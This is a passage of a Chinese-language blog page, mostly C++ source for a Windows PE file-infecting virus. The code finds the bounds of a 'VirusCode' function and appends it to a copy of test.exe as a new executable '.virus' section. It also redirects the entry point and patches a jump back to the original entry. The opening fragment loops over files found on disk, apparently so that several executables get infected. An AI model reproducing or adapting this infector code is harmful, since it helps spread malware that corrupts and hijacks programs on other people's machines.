    		bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
    		if (!bWrite)
    		{
    			goto CloseNewFileHandle;
    		}
    		//*****修正跳转地址*****
    		bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
    		if (!bWrite)
    		{
    			goto CloseNewFileHandle;
    		}
    
    	//////////////////////////////////////////////////////////////////////////
    	//*******扫尾工作*******
    	//////////////////////////////////////////////////////////////////////////
    CloseNewFileHandle:
    	myCloseHandle(hNewFile);
    FreeViewOfMap:
    	myUnmapViewOfFile(pMapOfFile);
    CLOSEMAPHANDLE:
    	myCloseHandle(hMapFile);
    CLOSEFILEHANDLE:
    	myCloseHandle(hFile);
    TheNextFile:
    	;
    	} while (myFindNextFile(hFileFind , &findBuf));
    
    	myFindClose(hFileFind);
    
    	return;
    }
    
    
    
    //////////////////////////////////////////////////////////////////////////
    //*******************************************************************
    //*******主函数*******
    //*******************************************************************
    //////////////////////////////////////////////////////////////////////////
    void main()
    {
    //*******************************************************************
    //*******首先得到程序代码起始地址,结束地址,代码长度*******
    //*******************************************************************
    	/////////////////////////////////////////////////////////////////
    	//	*******变量说明*******
    	//	**dwFunBegAddr	:程序函数的开始地址
    	//	**dwFunEndAddr	:程序函数的结束地址
    	//	**dwFunCodeLen	:程序代码长度
    	//	**dwJmpOff		:程序函数jmp区到真正入口的偏移
    	//	**pMove			:临时的指针变量
    	/////////////////////////////////////////////////////////////////
    	DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
    	PBYTE pMove = NULL;
    	
    	//	*******首先指向程序函数的jmp指令*******
    	pMove = (PBYTE)VirusCode;
    	
    	cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
    	//	*******定位到jmp后面的偏移处*******
    	pMove ++;
    
    	//	*******把偏移赋值给变量*******
    	dwJmpOff = *((PDWORD)pMove);
    
    	//	*******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
    	dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
    
    	cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
    	cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
    	
    	//	*******以下通过搜索得到函数的结束地址*******
    	//	*******首先把函数的入口地址赋给变量*******
    	pMove = (PBYTE)dwFunBegAddr;
    
    	//	*******向后搜索,直到结尾*******
    	while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
    	{
    		pMove ++;
    	}
    
    	//	*******此时pMove指向ret前一条指令*******
    	//	*******pMove向后移5个字节,为程序代码的jmp指令占位*******
    	pMove +=5;
    	dwFunEndAddr = (DWORD)pMove;
    
    
    	cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;
    
    	//	*******结束地址减去起始地址,得到代码长度*******
    	dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
    
    	cout << "总代码长度为:" << (int)dwFunCodeLen << endl;
    
    //*******************************************************************
    //*******以下为在exe文件中添加程序代码*******
    //*******************************************************************
    	HANDLE hFile , hMapFile;
    	LPVOID pMapOfFile = NULL;
    	
    //*******************************************************************
    //*******检测文件合法性*******
    //*******************************************************************
    	//	*******打开文件*******
    	hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | 
    			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    
    	if (INVALID_HANDLE_VALUE == hFile)
    	{
    		cout << "CreateFile Error!" << endl;
    		return;
    	}
    
    	//	*******创建文件映射*******
    	hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
    
    	if (!hMapFile)
    	{
    		cout << "CreateFileMapping Error!" << endl;
    		goto CLOSEFILEHANDLE;
    	}
    
    	//	*******把文件映射到内存中*******
    	pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
    
    	if (!pMapOfFile)
    	{
    		cout << "MapViewOfFile Error!" << endl;
    		goto CLOSEMAPHANDLE;
    	}
    
    	IMAGE_DOS_HEADER *pDosHeader;
    
    	//	********检测DOS文件头*******
    	pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
    
    	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    	{
    		cout << "Check Dos Header Error!" << endl;
    		goto FreeViewOfMap;
    	}
    
    	IMAGE_NT_HEADERS *pNtHeader;
    
    	//	*******检测NT文件头*******
    	pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
    
    	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
    	{
    		cout << "Check NT Header Error!" << endl;
    		goto FreeViewOfMap;
    	}
    
    
    //***************************************************************
    //*******准备工作*******
    //***************************************************************
    	BOOL bCopy;
    
    	//	*******首先把要添加程序代码的文件复制一份*******
    	bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
    	if (!bCopy)
    	{
    		cout << "CopyFile Error!" << endl;
    	}
    
    	HANDLE hNewFile;
    
    	//	*******打开刚刚复制的文件*******
    	hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
    				| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    
    	if (!hNewFile)
    	{
    		cout << "CreateFile Error!" << endl;
    		goto FreeViewOfMap;
    	}
    
    	HGLOBAL pNewFileHeader;
    
    	//	*******为新文件的文件头申请一块内存,用于修改文件头信息*******
    	pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
    
    	if (!pNewFileHeader)
    	{
    		cout << "GlobalAlloc Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//	*******用原文件头填充这块内存*******
    	RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
    
    	IMAGE_NT_HEADERS *pNewFileNtHeader;
    
    	pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
    
    //////////////////////////////////////////////////////////////////////////
    //*******此时的指针信息*******
    //*******pMapOfFile			:	原映射文件的开始
    //*******pDosHeader			:	原映射文件的DOS头也就是文件开始,只不过类型不一样
    //*******pNTHeader			:	原映射文件的NT头
    //*******pNewFileHeader		:	新文件的开始
    //*******pNewFileNtHeader	:	新文件的NT头
    //////////////////////////////////////////////////////////////////////////
    //****************************************************************
    //*******修改新文件的节表信息*******
    //****************************************************************
    	int nSecNum;
    	nSecNum = pNtHeader->FileHeader.NumberOfSections;
    	IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
    
    	//	*******定位到原文件中的最后一个节表*******
    	pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
    				+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
    
    	//	*******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
    	pNewSec = pLastSec + 1;
    
    	//*******修改新增节表的相关信息*******
    	//*****节表总数加1*****
    	pNewFileNtHeader->FileHeader.NumberOfSections ++;
    
    	//*****修改新节的文件偏移*****
    	pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
    
    	//*****修改新节的文件尺寸*****
    	int nAlignNum;
    
    	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
    	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
    	{
    		nAlignNum++;
    	}
    	pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
    
    	//*****修改所有代码长度按内存页对齐后的大小*****
    	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
    	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    	{
    		nAlignNum ++;
    	}
    	pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
    						pNewFileNtHeader->OptionalHeader.SectionAlignment;
    
    	//*****修改文件内存映像尺寸*****
    	pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
    						pNewFileNtHeader->OptionalHeader.SectionAlignment;
    
    	//*****修改新节的内存偏移量*****
    	//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
    	nAlignNum = pLastSec->Misc.VirtualSize / 
    				pNewFileNtHeader->OptionalHeader.SectionAlignment;
    	if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    	{
    		nAlignNum ++;
    	}
    	pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
    								pLastSec->VirtualAddress;
    
    	//*****修改新节的内存尺寸*****
    	pNewSec->Misc.VirtualSize = dwFunCodeLen;
    
    	//*****更新新节属性*****
    	pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
    					IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
    
    	//*****更新节名*****
    	strcpy((char*)pNewSec->Name , ".virus");
    
    	//*****更新入口地址*****
    
    	pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
    
    	BOOL bWrite;
    	DWORD dwHeaderSize , dwWriten;
    	dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
    	bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
    
    	//*****向文件中添加程序代码*****
    	DWORD dwSetFileP;
    
    	//*****定位到新文件中新节开始处*****
    	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "SetFilePointer Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****写入程序代码*****
    	bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Write Virus Code Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****定位到文件尾部*****
    	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + 
    					pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "SetFilePointer End Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****设定文件结束*****
    	if (!SetEndOfFile(hNewFile))
    	{
    		cout << "SetEndOfFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*******修正原入口地址*******
    	PBYTE pModifyAddr;
    	pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
    
    	pModifyAddr	+= dwFunCodeLen;
    	//printf("%x\n" , pModifyAddr);
    
    	int nSub;    //跳转的距离
    	nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
    
    	DWORD dwModifyLoca;
    	dwModifyLoca = pNewSec->PointerToRawData;
    	dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
    	//dwModifyLoca ++;
    
    	//	*****定位到程序代码最后的五个字节处*****
    	dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "Modify Address SetFilePointer Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    	//*****修正jmp指令*****
    	BYTE bJmp;
    	bJmp = 0XE9;
    	bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Modify Address WriteFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    	//*****修正跳转地址*****
    	bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Modify Address WriteFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    //****************************************************************
    //*******扫尾工作*******
    //****************************************************************
    CloseNewFileHandle:
    	CloseHandle(hNewFile);
    FreeViewOfMap:
    	UnmapViewOfFile(pMapOfFile);
    CLOSEMAPHANDLE:
    	CloseHandle(hMapFile);
    CLOSEFILEHANDLE:
    	CloseHandle(hFile);
    }
    


     

  • 相关阅读:
    可恶的Desktop_1.ini 规格严格
    BoundChecker 规格严格
    MySQL NetFlow Analysiser 忘记密码(转载) 规格严格
    Oracle 基本查询 规格严格
    NAN 规格严格
    面试题:为什么java不允许 super.super.xxx 这样的语句?
    国人眼中的Scrum
    NetBeans 时事通讯(刊号 # 1 Apr 02, 2008)
    面试题:为什么java不允许 super.super.xxx 这样的语句?
    快来测试你的脑年龄
  • 原文地址:https://www.cnblogs.com/new0801/p/6177760.html
Copyright © 2020-2023  润新知